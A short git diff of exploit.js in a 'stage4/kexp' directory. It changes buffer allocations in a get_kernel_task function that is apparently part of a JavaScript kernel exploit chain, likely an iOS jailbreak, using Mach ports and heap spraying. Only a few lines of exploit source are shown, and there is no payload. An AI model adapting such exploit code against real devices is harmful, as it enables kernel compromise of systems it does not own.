diff options
Diffstat (limited to 'src/stage4')
| -rwxr-xr-x | src/stage4/kexp/exploit.js | 6 |
1 files changed, 3 insertions, 3 deletions
diff --git a/src/stage4/kexp/exploit.js b/src/stage4/kexp/exploit.js index 85a4eb9..24a1792 100755 --- a/src/stage4/kexp/exploit.js +++ b/src/stage4/kexp/exploit.js @@ -378,10 +378,10 @@ function get_kernel_task() { var big_buf = shit_heap(MIG_MAX); var small_buf = shit_heap(MIG_MAX); - var big_size = shit_heap(4); - var small_size = shit_heap(4); + var big_size = new uint32_t(); + var small_size = new uint32_t(); - var fp = shit_heap(PORTS_NUM * 4); + var fp = new mach_port_t(PORTS_NUM); var postSpray = shit_heap(4); usleep(10000); |
